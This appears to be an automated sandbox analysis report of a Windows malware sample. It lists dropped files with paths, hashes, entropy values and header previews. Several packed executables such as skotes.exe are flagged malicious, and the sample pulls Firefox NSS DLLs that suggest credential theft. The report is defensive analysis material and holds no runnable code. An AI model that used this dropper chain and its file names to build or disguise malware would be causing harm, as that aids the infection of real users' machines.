Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1932288
Entropy (8bit):	7.950694713629637
Encrypted:	false
SSDEEP:	49152:B4wMTur6oNPB2T9IAxUvrz9i03eOja1kDs8Ji746jQrzr:BUpopB4CJ9zfjaYZf
MD5:	AEF046ED5D6161FA855337B295DFD92F
SHA1:	5F50DB2BBAD3D532C49161D70CCC306E6EBC4C17
SHA-256:	27089E3D887C57AFBF4696EEDA12989BEEFC1ACB7C5099157EFCA9EFF5A95C95
SHA-512:	A983DF0CBE5FF0673201498176FC020F05EFA50743CE4708E693DCEEB5759ED8EBA754E2F3B0EC01F46A15E0EBCB9C982783425C7C64BD138B00C368B04208E9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PL...........@...........................L..........@.................................W...k.......D...................H>L..............................=L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0+.........................@...xfvywxal.`....1..`..................@...xhojyhat.....@L......V..............@....taggant.0...PL.."...Z..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.396953394518826
Encrypted:	false
SSDEEP:	96:6NnQtNiHQt/NnQUbQZNnQ49QoNnQZdgEQFNnQx+QuNnQUDQTNnQswQBNnQTCm732:6NSNcN1NAgNIQNpENDFNT
MD5:	1390F8E7697E8DD276B1B5D1A8419531
SHA1:	2F9B2A9CDA0C35CBDE3CD9F01D3C11172DCB9191
SHA-256:	E5B5B1435EFC50FA327487C04D234568E467177BE2C9731CE13B3105478D67B7
SHA-512:	AA1BEC536D5ACBF99AB475A033EA243DFDBB59A8AE77312ADE64B3500124325A987AD5A948CF5829915A3590D2DB51A9B0A024C9E9848BB038D5607BAB687A90
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/97C7392DAE967AAB3996B969DBDB004A",.. "id": "97C7392DAE967AAB3996B969DBDB004A",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/97C7392DAE967AAB3996B969DBDB004A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/93EABFCDEC724438F69B9578DB78B167",.. "id": "93EABFCDEC724438F69B9578DB78B167",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/93EABFCDEC724438F69B9578DB78B167"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4509184
Entropy (8bit):	7.979999985169523
Encrypted:	false
SSDEEP:	98304:vbYoHCpFDuGVBWyCWOS5P1hWQN0xq5U4KUCh44tNWlR4G95cyfwCq:vbYjkyPDWQN4OU4K9Ku6KuOA
MD5:	B96337EC2F2A9546C812553077E48C40
SHA1:	D5BB825D13E1ACEFA84F8A9267B1283378CE248C
SHA-256:	66E9C3609467FE70E4A3F309356881ECDE24BDBA959C2C8B2599C89BED68267C
SHA-512:	3097B276E6631DC7461C99468375D7CC2009B0147BD096EE5DD772957C342AC6FDA1EE56F549128D70D4A415447F834C6634A15CB345F01978EE94719F78A95F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%.Eg...............(.NK..:v..2...........`K...@..........................@.......VE...@... ............................._.s.s.....s............................................................................................................. . ..s......6(.................@....rsrc.........s......F(.............@....idata ......s......H(.............@... ..9...s......J(.............@...xdoawxra.`.......\...L(.............@...tquinoww..............D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\58abbb06-395d-45bc-b1b7-d181c91a852f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\885e2bcd-dcc0-4e02-bf91-4114bb00cb7b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsHCGCBFHCFC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1932288
Entropy (8bit):	7.950694713629637
Encrypted:	false
SSDEEP:	49152:B4wMTur6oNPB2T9IAxUvrz9i03eOja1kDs8Ji746jQrzr:BUpopB4CJ9zfjaYZf
MD5:	AEF046ED5D6161FA855337B295DFD92F
SHA1:	5F50DB2BBAD3D532C49161D70CCC306E6EBC4C17
SHA-256:	27089E3D887C57AFBF4696EEDA12989BEEFC1ACB7C5099157EFCA9EFF5A95C95
SHA-512:	A983DF0CBE5FF0673201498176FC020F05EFA50743CE4708E693DCEEB5759ED8EBA754E2F3B0EC01F46A15E0EBCB9C982783425C7C64BD138B00C368B04208E9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PL...........@...........................L..........@.................................W...k.......D...................H>L..............................=L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0+.........................@...xfvywxal.`....1..`..................@...xhojyhat.....@L......V..............@....taggant.0...PL.."...Z..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b09839b0-83bc-47c0-ab7e-0a91b117d47d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.388994546778572
Encrypted:	false
SSDEEP:	24:YJxF5sQ5szAW01Rp5yK10YO5qv70VhQu5Fa0b/K5svm5x0tR2R5M:YJxF5sQ5sEW01X5y60YO5qD0VH5Fa0bV
MD5:	03CDC8179D8ACD92CBB332A053954833
SHA1:	ADA1A1A180B6F107B1E48F18889344A5639F7C31
SHA-256:	8A7D10CC6B3D22C0EF23CA42EE697CF29B40F942964FB6236DACF50CCED01B9F
SHA-512:	2D8B29592D05FC3BDFCAD9C1B7C694D859149AE4D7CABF9CCA1DCC6EDCE4A53A8257A1BF098D9CA981FA6F711F083BAD5CD1DE25CD11C084600AC938DA81AA76
Malicious:	false
Preview:	{"logTime": "1005/081724", "correlationVector":"2/PmMr7SOFFRIqTwW+HesJ","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"mBsci4p0IuAlecFQAh3IDU","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"EFCCE5F7ECC74238A0D17C500D8EB81C","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083130", "correlationVector":"jkXXrPbML/1ucIa5c7okZ6","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083130", "correlationVector":"CECEB17551BE48CCBF3DD12E07118D84","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083241", "correlationVector":"WUtA7xoJfeUJPFSRRtPAng","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083242", "correlationVector":"B7F67C44DD3147F7BE748158D3F8E7B5","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083444", "correlationVector":"6kKZpL8SvSsrBcj/Fl+tva","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083445", "correlationVector":"94D95442

C:\Users\user\AppData\Local\Temp\e198438e-bc91-424a-bf8c-557b7ca55d09.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
